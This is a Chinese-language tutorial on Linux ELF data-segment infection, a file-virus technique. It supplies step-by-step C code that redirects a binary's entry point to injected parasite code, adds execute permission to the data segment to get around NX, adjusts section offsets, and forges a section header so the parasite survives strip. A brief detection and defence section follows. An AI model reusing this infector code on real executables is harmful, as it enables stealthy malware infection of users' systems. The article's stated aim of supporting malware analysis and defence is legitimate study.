linux病毒技术之data段感染
字数 1307 2025-08-05 08:19:19
Linux病毒技术之data段感染详解
1. 基本概念
1.1 什么是data段感染
data段感染是一种ELF文件感染技术,其核心思想是将寄生代码注入到目标ELF文件的data段中,然后修改程序入口点使其指向注入的寄生代码。当程序执行时,首先运行寄生代码,完成后再跳转回原始入口点执行正常程序。
与text段感染相比,data段感染有以下特点:
- 寄生代码位于数据段而非代码段
- 在未启用NX-bit(数据执行保护)的32位Linux系统上,即使data段没有执行权限也能执行其中的代码
- 通常需要处理.bss节的特殊性
2. 技术实现原理
2.1 关键前置知识
-
data段结构:
- data段结尾是.bss节
- .bss节在磁盘上不占空间,只在内存中分配空间存放未初始化变量
- 寄生代码通常注入到data段尾部、.bss节前面
-
段位置特性:
- data段通常是最后一个加载段(PT_LOAD)
- 因此感染data段不会影响其他段的偏移
2.2 感染算法步骤
-
修改ELF头:
- 将
ehdr->e_entry(入口点)指向寄生代码位置(data段尾部) - 将
ehdr->e_shoff(节头表偏移)增加寄生代码长度
- 将
-
修改程序头(Program Header):
- 定位data段(PT_LOAD类型且偏移不为0的段)
- 增加
phdr->p_filesz(文件大小)和phdr->p_memsz(内存大小) - (可选)添加执行权限:
phdr[DATA].p_flags |= PF_X
-
调整节区:
- 修改.bss节及之后所有节的偏移地址
- (可选)为寄生代码添加自定义节头,防止被strip删除
-
注入寄生代码:
- 在data段尾部插入寄生代码
- 寄生代码最后应跳转回原始入口点
3. 代码实现详解
3.1 关键数据结构
// 寄生代码示例
char parasite[] = "\x68\x00\x00\x00\x00\xc3"; // push 0; ret
// 关键变量
unsigned long entry_point; // 保存原始入口点
long bss_addr; // 保存原始.bss节起始位置
int parasite_size = sizeof(parasite); // 寄生代码大小
3.2 主要实现步骤
-
文件映射与验证:
// 打开并映射目标文件 fd = open(host, O_RDONLY); fstat(fd, &st); mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); // ELF文件验证 e_hdr = (Elf64_Ehdr *)mem; if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF")) { // 非ELF文件处理 } -
修改ELF头:
// 调整节头表偏移 o_shoff = e_hdr->e_shoff; e_hdr->e_shoff += parasite_size; -
定位并修改data段:
p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff); for(i = 0; i < e_hdr->e_phnum; i++) { if(p_hdr[i].p_type == PT_LOAD && p_hdr[i].p_offset != 0) { // 保存原始.bss位置 bss_addr = p_hdr[i].p_offset + p_hdr[i].p_filesz; // 修改入口点 entry_point = e_hdr->e_entry; e_hdr->e_entry = p_hdr[i].p_vaddr + p_hdr[i].p_filesz; // 调整段大小 p_hdr[i].p_filesz += parasite_size; p_hdr[i].p_memsz += parasite_size; // 添加执行权限(对抗NX) p_hdr[i].p_flags |= PF_X; } } -
调整节区偏移:
s_hdr = (Elf64_Shdr *)(mem + o_shoff); for(i = 0; i < e_hdr->e_shnum; i++) { if(s_hdr[i].sh_offset >= bss_addr) { s_hdr[i].sh_offset += parasite_size; } } -
注入寄生代码:
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite) { // 创建新文件 ofd = open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode); // 写入原文件data段前的内容 write(ofd, mem, bss_addr); // 修改寄生代码中的跳转地址 *(unsigned int *)¶site[return_entry_start] = entry_point; // 写入寄生代码 write(ofd, parasite, psize); // 写入剩余内容 mem += bss_addr; write(ofd, mem, st.st_size - bss_addr); close(ofd); }
4. 进阶技术
4.1 对抗strip命令
strip会删除不属于任何节的代码,解决方案是伪造一个节头包含寄生代码:
- 手动或程序化在节头表末尾添加一个新节
- 设置该节的偏移和大小以包含寄生代码
- 增加ELF头中的节头计数(
e_shnum)
4.2 寄生代码设计
寄生代码需要:
- 保存原始入口点
- 执行恶意操作
- 跳转回原始入口点
示例汇编:
push 0x0 ; 原始入口点地址会在感染时填充
ret ; 跳转到原始入口
5. 检测与防御
5.1 检测方法
-
入口点异常检测:
- 检查入口点是否位于非代码段(data段)
-
段权限检测:
- 检查数据段是否具有执行权限(可能被NX保护绕过)
-
完整性检查:
- 计算文件哈希与已知正常版本对比
5.2 防御措施
-
启用NX/DEP保护:
# 编译时添加NX保护 gcc -z noexecstack -o program program.c -
使用加固工具:
# 使用hardening-check检查二进制文件 hardening-check /path/to/binary -
定期扫描:
- 使用防病毒软件定期扫描系统
6. 总结
data段感染技术要点:
- 利用ELF文件格式特性在data段注入代码
- 需要正确处理.bss节和节头表偏移
- 在NX保护系统上需要添加执行权限
- 可通过伪造节头对抗strip
这种技术的优势在于相对隐蔽,但现代防护机制(如NX)增加了其实现难度。理解这些技术不仅有助于恶意代码分析,也能帮助我们构建更安全的系统。